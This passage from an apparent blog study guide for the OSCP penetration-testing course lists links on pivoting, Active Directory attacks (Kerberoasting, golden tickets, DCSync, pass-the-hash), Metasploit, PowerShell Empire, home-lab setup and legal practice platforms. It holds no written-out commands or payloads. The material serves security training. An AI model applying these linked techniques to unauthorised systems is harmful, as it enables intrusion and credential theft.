  &lt;li&gt;Understanding Port forwarding with Metasploit: &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/portfwd/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/portfwd/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Explore Hidden Networks with Double Pivoting: &lt;a href=&quot;https://pentest.blog/explore-hidden-networks-with-double-pivoting/&quot;&gt;https://pentest.blog/explore-hidden-networks-with-double-pivoting/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;0xdf hacks stuff. Pivoting and Tunnelling: &lt;a href=&quot;https://0xdf.gitlab.io/2019/01/28/pwk-notes-tunneling-update1.html&quot;&gt;https://0xdf.gitlab.io/2019/01/28/pwk-notes-tunneling-update1.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools to help you with Port Forwarding and Pivoting:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Proxychains: &lt;a href=&quot;https://github.com/haad/proxychains&quot;&gt;https://github.com/haad/proxychains&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Proxychains-ng: &lt;a href=&quot;https://github.com/rofl0r/proxychains-ng&quot;&gt;https://github.com/rofl0r/proxychains-ng&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SSHuttle (Totally Recommend learning this): &lt;a href=&quot;https://github.com/sshuttle/sshuttle&quot;&gt;https://github.com/sshuttle/sshuttle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SSHuttle Documentation: &lt;a href=&quot;https://sshuttle.readthedocs.io/en/stable/&quot;&gt;https://sshuttle.readthedocs.io/en/stable/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Chisel &lt;a href=&quot;https://github.com/jpillora/chisel&quot;&gt;https://github.com/jpillora/chisel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Ligolo: &lt;a href=&quot;https://github.com/sysdream/ligolo&quot;&gt;https://github.com/sysdream/ligolo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Online Tunnelling Services:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Ngrok: &lt;a href=&quot;https://ngrok.com/&quot;&gt;https://ngrok.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Twilo: &lt;a href=&quot;https://www.twilio.com&quot;&gt;https://www.twilio.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vulnerable systems to practice pivoting:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Wintermute: &lt;a href=&quot;https://www.vulnhub.com/entry/wintermute-1,239/&quot;&gt;https://www.vulnhub.com/entry/wintermute-1,239/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-18-active-directory-attacks&quot;&gt;Section 18: Active Directory Attacks:&lt;/h1&gt;

&lt;p&gt;This was a new section that I was really looking forward to learning about when the new update was released! Active Directory is a popular service that we see running in the real world because it helps system administrators manage their systems, users, services, and much more depending on the size of their organisation.&lt;/p&gt;

&lt;p&gt;Active Directory Domain Services can be installed on Windows Server (2000-2019). I highly encourage you to make some time to learn how to install Active Directory on a Windows Server (version of your liking). This will help you get an understanding how to setup your own Active Directory Environment as well.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Fundamentals of Active Directory: &lt;a href=&quot;https://www.youtube.com/watch?v=GfqsFtmJQg0&amp;amp;feature=emb_logo&quot;&gt;https://www.youtube.com/watch?v=GfqsFtmJQg0&amp;amp;feature=emb_logo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I have provided some resources to help you get started:&lt;/p&gt;

&lt;p&gt;Setting up Active Directory:&lt;/p&gt;

&lt;p&gt;Note: Make sure when you are setting up the Active Directory Server that you assign a static IP address to it and also a workstation that you will be joining the server to for further testing. I recommend that you set up a Windows 10 Workstation if you plan to use Windows Server 2016/2019.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Microsoft Documentation to install Active Directory: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/deploy/install-active-directory-domain-services--level-100-&quot;&gt;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/deploy/install-active-directory-domain-services–level-100-&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Install Windows Active Directory on Windows Server 2019: &lt;a href=&quot;https://computingforgeeks.com/how-to-install-active-directory-domain-services-in-windows-server/&quot;&gt;https://computingforgeeks.com/how-to-install-active-directory-domain-services-in-windows-server/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Understanding Users Accounts in Active Directory: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts&quot;&gt;https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Three ways to create an Active Directory User: &lt;a href=&quot;https://petri.com/3-ways-to-create-new-active-directory-users&quot;&gt;https://petri.com/3-ways-to-create-new-active-directory-users&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Join a Workstation to the Domain: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/join-a-computer-to-a-domain&quot;&gt;https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/join-a-computer-to-a-domain&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools to help you automate the installation for Active Directory:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;ADLab: &lt;a href=&quot;https://github.com/browninfosecguy/ADLab&quot;&gt;https://github.com/browninfosecguy/ADLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Automated Lab: &lt;a href=&quot;https://github.com/AutomatedLab/AutomatedLab&quot;&gt;https://github.com/AutomatedLab/AutomatedLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;MSLab: &lt;a href=&quot;https://github.com/microsoft/MSLab&quot;&gt;https://github.com/microsoft/MSLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Invoke-ADLabDeployer: &lt;a href=&quot;https://github.com/outflanknl/Invoke-ADLabDeployer&quot;&gt;https://github.com/outflanknl/Invoke-ADLabDeployer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Active Directory User Setup: &lt;a href=&quot;https://github.com/bjiusc/Active-Directory-User-Setup-Script&quot;&gt;https://github.com/bjiusc/Active-Directory-User-Setup-Script&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Enumerating Active Directory:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Active Directory Enumeration with Powershell: &lt;a href=&quot;https://www.exploit-db.com/docs/english/46990-active-directory-enumeration-with-powershell.pdf&quot;&gt;https://www.exploit-db.com/docs/english/46990-active-directory-enumeration-with-powershell.pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Active Directory Exploitation Cheat Sheet: &lt;a href=&quot;https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#domain-enumeration&quot;&gt;https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#domain-enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Powersploit: &lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit&quot;&gt;https://github.com/PowerShellMafia/PowerSploit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understanding Authentication protocols that Active Directory Utilizes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;NTLM Authentication: &lt;a href=&quot;https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/ntlm-user-authentication&quot;&gt;https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Kerberos Authentication &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview&quot;&gt;https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Cache and Stored Credentials: &lt;a href=&quot;https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)&quot;&gt;https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Group Managed Service Accounts: &lt;a href=&quot;https://adsecurity.org/?p=4367&quot;&gt;https://adsecurity.org/?p=4367&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Lateral Movement in Active Directory:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Paving the Way to DA: &lt;a href=&quot;https://blog.zsec.uk/path2da-pt1/&quot;&gt;https://blog.zsec.uk/path2da-pt1&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://blog.zsec.uk/path2da-pt3&quot;&gt;Part 2&lt;/a&gt;, &lt;a href=&quot;https://blog.zsec.uk/path2da-pt3&quot;&gt;3&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Pass the Hash with Machine Accounts: &lt;a href=&quot;https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts&quot;&gt;https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Overpass the hash (Payload All the things): &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#overpass-the-hash-pass-the-key&quot;&gt;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#overpass-the-hash-pass-the-key&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Red Team Adventures Overpass the Hash: &lt;a href=&quot;https://riccardoancarani.github.io/2019-10-04-lateral-movement-megaprimer/#overpass-the-hash&quot;&gt;https://riccardoancarani.github.io/2019-10-04-lateral-movement-megaprimer/#overpass-the-hash&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Pass the Ticket (Silver Tickets): &lt;a href=&quot;https://adsecurity.org/?p=2011&quot;&gt;https://adsecurity.org/?p=2011&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Lateral Movement with DCOM: &lt;a href=&quot;https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model&quot;&gt;https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Active Directory Persistence:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Cracking Kerberos TGS Tickets Using Kerberoast: &lt;a href=&quot;https://adsecurity.org/?p=2293&quot;&gt;https://adsecurity.org/?p=2293&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Kerberoasting Without Mimikatz: &lt;a href=&quot;https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/&quot;&gt;https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Golden Tickets: &lt;a href=&quot;https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets&quot;&gt;https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Pass the Ticket (Golden Tickets): &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#pass-the-ticket-golden-tickets&quot;&gt;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#pass-the-ticket-golden-tickets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Understanding DCSync Attacks: &lt;a href=&quot;https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync&quot;&gt;https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools for Active Directory Lateral Movement and Persistence:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;ADRecon: &lt;a href=&quot;https://github.com/sense-of-security/ADRecon&quot;&gt;https://github.com/sense-of-security/ADRecon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Kerbrute: &lt;a href=&quot;https://github.com/ropnop/kerbrute&quot;&gt;https://github.com/ropnop/kerbrute&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Rubeus: &lt;a href=&quot;https://github.com/GhostPack/Rubeus&quot;&gt;https://github.com/GhostPack/Rubeus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Impacket: &lt;a href=&quot;https://github.com/SecureAuthCorp/impacket&quot;&gt;https://github.com/SecureAuthCorp/impacket&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other Resources:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Building an Active Directory with PowerShell: &lt;a href=&quot;https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/&quot;&gt;https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Lateral Movement for AD: &lt;a href=&quot;https://riccardoancarani.github.io/2019-10-04-lateral-movement-megaprimer/#overpass-the-hash&quot;&gt;https://riccardoancarani.github.io/2019-10-04-lateral-movement-megaprimer/#overpass-the-hash&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Lateral Movement with CrackMapExec: &lt;a href=&quot;https://www.hackingarticles.in/lateral-moment-on-active-directory-crackmapexec/&quot;&gt;https://www.hackingarticles.in/lateral-moment-on-active-directory-crackmapexec/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-19-metasploit-framework&quot;&gt;Section 19: Metasploit Framework&lt;/h1&gt;
&lt;p&gt;The only guide that I used to learn more about Metasploit is Offensive Security Metasploit Unleashed course…which is free!
&lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/TJNulls_Preparation_Guide_for_PEN_200/offsec-metasploit-unleashed.png&quot; alt=&quot;alt-text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Other Resources: 
Metasploit The Penetration Tester’s Guide (A super awesome book to read): &lt;a href=&quot;https://nostarch.com/metasploit&quot;&gt;https://nostarch.com/metasploit&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Metasploit Documentation: &lt;a href=&quot;https://docs.rapid7.com/metasploit/getting-started/&quot;&gt;https://docs.rapid7.com/metasploit/getting-started/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Msfvenom Cheat Sheets:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/&quot;&gt;http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://netsec.ws/?p=331&quot;&gt;https://netsec.ws/?p=331&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom&quot;&gt;https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-20-powershell-empire&quot;&gt;Section 20: Powershell Empire:&lt;/h1&gt;

&lt;p&gt;PowerShell Empire is a post-exploitation framework that includes a pure-PowerShell Windows agent that is compatible with Python 3.x Linux/OS X agents. It is the merger of the previous PowerShell Empire and Python EmPyre projects. Recently the Kali Linux team is partnering with BC Security to sponsor PowerShell Empire. This sponsorship provides Kali users with 30-day exclusive early access to Empire and Starkiller before the updates are publicly released to the official repository.&lt;/p&gt;

&lt;p&gt;Originally created by harmj0y, sixdub, and enigma0x3. On July 31, 2019 the project was no longer supported and the team at BC Security is now maintaining the most active fork of Empire &lt;a href=&quot;https://github.com/BC-SECURITY/Empire&quot;&gt;https://github.com/BC-SECURITY/Empire&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The course does a great job explaining how to use the tool and how can you use it. Here are some resources that you can look into to get an understanding of how PowerShell Empire works:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Installing PowerShell Empire: &lt;a href=&quot;https://github.com/BC-SECURITY/Empire/wiki/Installation&quot;&gt;https://github.com/BC-SECURITY/Empire/wiki/Installation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Using PowerShell Empire: &lt;a href=&quot;https://alpinesecurity.com/blog/empire-a-powershell-post-exploitation-tool/&quot;&gt;https://alpinesecurity.com/blog/empire-a-powershell-post-exploitation-tool/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other Resources:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Starkiller: &lt;a href=&quot;https://github.com/BC-SECURITY/Starkiller&quot;&gt;https://github.com/BC-SECURITY/Starkiller&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Empire Cli: &lt;a href=&quot;https://github.com/BC-SECURITY/Empire-Cli&quot;&gt;https://github.com/BC-SECURITY/Empire-Cli&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Malleable C2 Profiles for Empire: &lt;a href=&quot;https://github.com/BC-SECURITY/Malleable-C2-Profiles&quot;&gt;https://github.com/BC-SECURITY/Malleable-C2-Profiles&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;extra-resources&quot;&gt;Extra Resources&lt;/h1&gt;

&lt;p&gt;This concludes the resources I have used that helped me understand the course syllabus. Now I will share with you some tips and extra resources that I used to prepare for the PEN200 PWK/OSCP.&lt;/p&gt;

&lt;h1 id=&quot;setting-up-your-pentesting-environment&quot;&gt;Setting up your Pentesting Environment:&lt;/h1&gt;
&lt;p&gt;The course recommends that you are using &lt;a href=&quot;https://www.vmware.com/&quot;&gt;VMware products&lt;/a&gt; to run the custom Kali Linux image that they have created. Windows users can purchase &lt;a href=&quot;https://www.vmware.com/products/workstation-pro.html&quot;&gt;VMware Workstation&lt;/a&gt; or use their free program &lt;a href=&quot;https://www.vmware.com/products/workstation-player.html&quot;&gt;VMware Player&lt;/a&gt;. As for MAC Users you will need to use &lt;a href=&quot;https://www.vmware.com/products/fusion.html&quot;&gt;VMware Fusion&lt;/a&gt;. 
If you would like to download the custom Kali Linux System for the PWK you can find it here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/&quot;&gt;https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Keep in mind that the virtual machines hosted on Offensive Security are updated by the Kali Linux Team. The new PWK does not require you to use a custom Kali system they have made. You can use the latest version that the Kali Linux team maintains to complete the labs/course exercises.&lt;/p&gt;

&lt;p&gt;Another virtual machine I created was a Windows 7 32-bit system to spin up any vulnerable applications I needed to debug or to check if I could obtain a shell from them. You could also create a Windows 7 64-bit system as well but some of 32-bit applications may not work properly as they would on an actual 32-bit system. This practice is great to implement in case you are stuck on a windows system that is running a service that for some reason you cannot obtain a shell on.&lt;/p&gt;

&lt;p&gt;For Active Directory preparation I created a Windows Server 2019 and a Windows 10 Pro virtual machine to join to the AD environment I created. There are a few good guides on setting up AD environments in your own lab:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/&quot;&gt;MyExploit2600 AD Lab Creation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.aidanmitchell.uk/orchestrating-the-hacklab-part-1/&quot;&gt;Orchestrating Automated Lab Creation&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;Parts &lt;a href=&quot;https://www.aidanmitchell.uk/orchestrating-the-hacklab-part-2/&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://www.aidanmitchell.uk/orchestrating-the-hacklab-part-3/&quot;&gt;3&lt;/a&gt; &lt;a href=&quot;https://www.aidanmitchell.uk/orchestrating-the-hacklab-part-4/&quot;&gt;4&lt;/a&gt;, &lt;a href=&quot;https://www.aidanmitchell.uk/orchestrating-the-hacklab-part-5/&quot;&gt;5&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you are interested in expanding your enviroment and wondering how you can do that I wrote a guide to help you get started on building your own homelab:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netsecfocus.com/home/lab/2020/09/21/Tjnulls_guide_to_building_a_Home_Lab.html&quot;&gt;https://www.netsecfocus.com/home/lab/2020/09/21/Tjnulls_guide_to_building_a_Home_Lab.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;wargameshands-on-challenges&quot;&gt;Wargames/Hands-on Challenges:&lt;/h1&gt;
&lt;p&gt;I know I stated theses before but I am going to reiterate this:&lt;/p&gt;

&lt;p&gt;OverTheWire Bandit:
A good set of fun Linux challenges to get yourself familiarizes with bash and Linux. Abatchys walkthrough really helped me here:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Bandit 1-5: &lt;a href=&quot;https://www.abatchy.com/2016/10/overthewire-bandit-0-5&quot;&gt;https://www.abatchy.com/2016/10/overthewire-bandit-0-5&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Bandit 6-10: &lt;a href=&quot;https://www.abatchy.com/2016/10/overthewire-bandit-6-10&quot;&gt;https://www.abatchy.com/2016/10/overthewire-bandit-6-10&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Bandit 11-15: &lt;a href=&quot;https://www.abatchy.com/2016/10/overthewire-bandit-11-15&quot;&gt;https://www.abatchy.com/2016/10/overthewire-bandit-11-15&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Bandit 16-20: &lt;a href=&quot;https://www.abatchy.com/2016/10/overthewire-bandit-16-20&quot;&gt;https://www.abatchy.com/2016/10/overthewire-bandit-16-20&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Bandit 21-26: &lt;a href=&quot;https://www.abatchy.com/2016/10/overthewire-bandit-21-24&quot;&gt;https://www.abatchy.com/2016/10/overthewire-bandit-21-24&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;OverTheWire Natas: 
A good set of simple web application challenges. These challenges will help you understand the basics you need to identify issues in web applications. 
Check out this walkthrough here: &lt;a href=&quot;https://infamoussyn.wordpress.com/2014/02/05/overthewire-natas-level-0-16-writeup-updated/&quot;&gt;https://infamoussyn.wordpress.com/2014/02/05/overthewire-natas-level-0-16-writeup-updated/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;UndertheWire: 
Probably my favorite place for challenges because they contain a huge set of PowerShell challenges. 
You can find their challenges here: &lt;a href=&quot;http://www.underthewire.tech/wargames.htm&quot;&gt;http://www.underthewire.tech/wargames.htm&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.root-me.org/&quot;&gt;Root-me.org&lt;/a&gt; A huge place that has challenges for almost everything in cybersecurity. For instance, you will see challenges in the following areas:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Network Forensics (Packet Analysis, Captured Traffic, Network Services)&lt;/li&gt;
  &lt;li&gt;Programming (C, PHP, Java, Shell-coding)&lt;/li&gt;
  &lt;li&gt;Reverse Engineering (disassemble applications)&lt;/li&gt;
  &lt;li&gt;Web Applications and Client Challenges.&lt;/li&gt;
  &lt;li&gt;Forensic Challenges.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Spend a few minutes going through some of these!&lt;/p&gt;

&lt;p&gt;SANS Holiday Hack Challenges: 
&lt;a href=&quot;https://www.holidayhackchallenge.com/past-challenges/&quot;&gt;https://www.holidayhackchallenge.com/past-challenges/&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;capture-the-flag-competitions-ctfscyber-competitions&quot;&gt;Capture the Flag Competitions (CTFs)/Cyber Competitions:&lt;/h1&gt;
&lt;p&gt;I know some of you are reading this are probably skeptical on why I added this…well to be honest the cybersecurity careers that we are in are not a normal 7am-3pm job…it is a lifestyle. I understand for many of us that it is hard to set some time to do all of the things in this field and that is totally OK! If you have the time or if you already can, set some time out of your busy schedule to do a CTF. Go ahead and hack all of the things that many of these CTFs provide as challenges. Trust me you will learn some cool things in a CTF that not even a class may be able to teach you. Personally, competing in CTFs did help me in this course and also it gave me a better understanding of what things I should be looking for instead of jumping into rabbit holes!&lt;/p&gt;

&lt;p&gt;Also do not be scared to compete in a CTF if it is your first time! Everyone has to start somewhere in their journey you just have to keep pushing forward. So, go out there and find some CTFs whether they are local to you or online make some time and have confidence in doing them.&lt;/p&gt;

&lt;p&gt;If you cannot find any local CTFs check out &lt;a href=&quot;https://www.CTFTime.org&quot;&gt;CTFTime&lt;/a&gt; for online competitions that you can participate in. 
A lot of the cyber competitions in the past few years really helped me build my skills and I still go out once in awhile to find a CTF to compete in for fun 😊.  You may also find CTF’s that Offsec sponsors where you can be able to win a PWK voucher!&lt;/p&gt;

&lt;h1 id=&quot;vulnerable-machines&quot;&gt;Vulnerable Machines:&lt;/h1&gt;
&lt;p&gt;Boot-to-Root Vulnerable Machines! These machines are excellent to help you build your skills for pentesting. There are places where you can download them and run them on your system to begin practice or places where you can connect to their range and start hacking into the targets they have. Most of them result in obtaining root or Administrative/System level access in the end. Personally, my three favorite places are Proving Grounds, Hackthebox and Vulnhub.&lt;/p&gt;

&lt;p&gt;Keep in mind that the boxes that you assess on these platforms should be used as a way to get started, to build your practical skills, or brush up on any weak points that you may have in your pentesting methodology.&lt;/p&gt;

&lt;p&gt;When you are comfortable to take the course, It is encouraged that you try to go through every system that is in the PWK/OSCP lab environment, as they will provide better insight for when you attempt to the exam itself.&lt;/p&gt;

&lt;h3 id=&quot;proving-grounds&quot;&gt;&lt;a href=&quot;https://www.offensive-security.com/labs/individual/&quot;&gt;Proving Grounds&lt;/a&gt;:&lt;/h3&gt;

&lt;p&gt;Offensive Security has released their own private lab environment where you can practice your pentest skills with the boxes they provide online. The platform offers two tiers PG Play and PG Practice. PG Play brings the boxes from Vulnhub to life and provides dedicated access by connecting to their environment through a VPN or you can use the in base Kali Linux browser system. Keep in mind that PG Play only allows you three hours per day to assess a system in the Play environment. They only provide Linux boxes as well but this could change in the future.&lt;/p&gt;

&lt;p&gt;PG Practice includes all of the features and removes the three hour time limit but Practice also offers Linux and Windows boxes that you can use to improve your pentesting skills as these boxes are created by Offsec Experts. Some of the systems you may notice were old Offsec Exam machines that you can assess to sharpen your hacking skills.&lt;/p&gt;

&lt;p&gt;With the approval from Offsec I have created a list of boxes that I have gone through that I believe were OSCP Like. You can find the list here and check for updates that I will add to the list in the future:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/TJNulls_Preparation_Guide_for_PEN_200/proving-grounds.PNG&quot; alt=&quot;alt-text&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;hackthebox&quot;&gt;&lt;a href=&quot;https://www.hackthebox.eu/&quot;&gt;HackTheBox&lt;/a&gt;:&lt;/h3&gt;
&lt;p&gt;An online penetration testing platform that contains a variety of machines to help you improve your penetration testing skills. For those who have not gone through the registration you will need to pass a challenge to generate yourself an activation code. Once you have generated your activation code, then you will have the ability to access their range. In the free tier you are allowed to play with the 20 active machines they have and they cycle a new system in the range every week and retire an old one there as well. 
If you want to access to their retired machines you will have to get VIP access. It is a very affordable in my opinion, and worth it to invest in. If you do not have the funds to invest into Hackthebox, do not worry because you can certainly find these walkthroughs online (once the boxes are retired). One place I would definitely recommend to look at is IppSec Hackthebox Walkthroughs on YouTube! I love watching his videos because he goes through step by step on how to obtain access onto the target and how to escalate your privileges to obtain root access. Each box has a different scenario and IppSec always has something extra to throw in when he is doing his walkthroughs.&lt;/p&gt;

&lt;p&gt;With that being said I created a list of all of boxes that I did in Hackthebox that I thought were OSCP Like. You can find them here and also check out IppSec playlist he created from the list I recommended to start watching!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/TJNulls_Preparation_Guide_for_PEN_200/hackthebox.JPG&quot; alt=&quot;alt-text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I will continue to be updating this list in the future, and if you would like to keep it around you can find it here and on NetSecFocus: &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159&quot;&gt;https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159&lt;/a&gt;&lt;/p&gt;

